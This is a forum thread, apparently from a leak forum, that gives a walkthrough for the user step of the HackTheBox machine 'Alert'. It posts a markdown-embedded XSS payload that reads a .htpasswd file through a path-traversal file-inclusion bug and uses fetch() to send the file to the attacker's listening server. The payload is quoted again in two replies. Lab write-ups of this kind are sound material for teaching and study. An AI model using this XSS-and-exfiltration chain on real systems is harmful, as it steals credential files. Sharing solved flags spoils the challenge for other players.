Temporary Advertisements:
Ad
Ad
Ad
HTB alert (user)
by SSKK - Thursday November 28, 2024 at 05:44 AM
#1
upload this md file to the alert.htb

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));
  });
</script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this https://i.postimg.cc/RFVw9yzy/Screenshot.png


doneeeee
Reply
#2
thanks for the post explaining this! was stuck here for a bit.
Reply
#3
(Nov 28, 2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));
  });
</script>

Hi! How did you discover LFI vulnerability in 'http://alert.htb/messages.php?file='?
Reply
#4
(Nov 28, 2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));
  });
</script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this https://i.postimg.cc/RFVw9yzy/Screenshot.png


doneeeee

Thanks man, much appreciated

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 84 11,147 6 hours ago
Last Post: groningen1981
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,641 6 hours ago
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 109 10 hours ago
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,291 11 hours ago
Last Post: kevin25hxl
  [FREE] CPTS 12 FLAGS pulsebreaker 168 19,519 Today, 12:57 AM
Last Post: blooper1337

Forum Jump:


 Users browsing this forum: 1 Guest(s)